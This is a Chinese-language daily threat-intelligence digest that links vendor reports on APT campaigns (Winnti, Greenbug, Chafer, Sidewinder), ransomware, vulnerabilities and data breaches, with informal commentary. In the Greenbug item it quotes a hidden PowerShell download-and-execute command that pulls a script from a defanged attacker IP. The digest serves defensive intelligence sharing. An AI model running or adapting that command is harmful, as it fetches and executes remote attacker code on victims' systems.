今日威脅情報2020/5/20-21(第262期)

雖然不能做到每天發布，但是質量要做到最好

高級威脅分析

1、Winnti新活動曝光，2020年2月，針對總部位於韓國和臺灣並開發MMO（大型多人在線）遊戲公司。印表機驅動——持久化駐留

tips：

https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

2、在朝鮮對國防承包商領域的網絡攻擊中，。RGB-D3主要針對航空航天和國防公司，而RGB-D5主要針對火炮彈藥和裝甲車公司。

發展裝備，老美封鎖……

3、nshc又發APT匯總了，我又懵逼了……SectorA系列SectorB系列、SectorB01，SectorB04，SectorB08，SectorB0等……實在是搞不清楚誰是誰

https://redalert.nshc.net/2020/05/21/monthly-threat-actor-group-intelligence-report-march-2020/

4、近期響尾蛇APT組織針對周邊國家和地區的攻擊活動分析

https://mp.weixin.qq.com/s/9LfElDbKCrQX1QzGFISFPw

5、Greenbug APT組織（我們就叫他綠霸/綠壩？）針對南亞國家多個電信運營商組織，Shamoon的惡意軟體家族其中一支

PowerShell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadstring('http://95[.]179.177.157:445/0Zu5WpWN');
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
6、伊朗針對科威特和沙烏地阿拉伯關鍵基礎設施的網絡間諜攻擊活動分析報告

https://www.bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf
https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/
7、分享個樣本：
https://www.virustotal.com/gui/file/2e3138220ff53df90c5cda449263dbbeb36df7612431d775ddfe047d2ece4281/detection
8、針對泰國民眾的移動間諜軟體，針對的是諸如WhatsApp，Facebook Messenger和Line等消息傳遞應用程式，這種被稱為WolfRAT的惡意軟體是DenDroid的新變種，DenDroid是一種移動遠程訪問木馬（RAT），其原始碼在2015年洩露。
https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html
技術分析
1、si-cert 發布的勒索軟體分析報告，通過電子郵件感染受害者
https://www.cert.si/si-cert-2019-05-napredni-napadi-z-izsiljevalskimi-virusi/
2、無文件勒索軟體，這種類型的威脅利用了一種稱為反射式動態連結庫（DLL）注入的技術，也稱為反射式DLL加載。該技術允許從內存而不是從磁碟注入DLL。該技術比常規的DLL注入更為隱秘，因為除了不需要磁碟上的實際DLL文件之外，它也不需要任何Windows加載程序即可注入
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/
漏洞相關

1、VMware Cloud DirectorCVE-2020-3956遠程執行代碼問題
https://www.vmware.com/security/advisories/VMSA-2020-0010.html
2、(0Day) Microsoft Windows splwow64 Untrusted Pointer Dereference Privilege Escalation Vulnerability
https://www.zerodayinitiative.com/advisories/ZDI-20-665/
3、Qmail郵件傳輸代理中的RCE漏洞
https://www.helpnetsecurity.com/2020/05/20/qmail-rce/
數據洩露

1、英國航空公司EasyJet公告稱，該航空公司受到網絡攻擊，該攻擊疑似洩露大約900萬客戶的電子郵件地址和旅行詳細信息
https://otp.investis.com/clients/uk/easyjet1/rns/regulatory-story.aspx?cid=2&newsid=1391756
2、Wishbone上註冊的4000萬用戶被出售
https://www.zdnet.com/article/hacker-selling-40-million-user-records-from-popular-wishbone-app
網絡戰與網絡情報

1、那個被機翻稱「日光浴」的網絡空間委員會又來了……
2、川普的「黑料」賣了……吃瓜等後續
https://www.hackread.com/revil-sold-trump-data-now-targets-food-distributors/
3、日本（日本防衛省）繼續調查今年三菱電機公司（Mitsubishi Electric Corp.）遭受的網絡攻擊，目前懷疑可能洩漏包括原型飛彈細節在內的數據

https://apnews.com/2e85904379adc4fa30ebc6aba3eb4d55
4、烏克蘭特勤局（SSU）逮捕了一個名叫Sanix的黑客，該黑客在黑客論壇和Telegram渠道上出售了數十億個被盜信息，去年年初，它通過在其中一個論壇上發布了包含7.73億個電子郵件地址和2100萬個密碼資料庫。
簡單來說，一個賣褲子的被抓了……
https://ssu.gov.ua/ua/news/1/category/2/view/7602#.cELugf2n.dpbs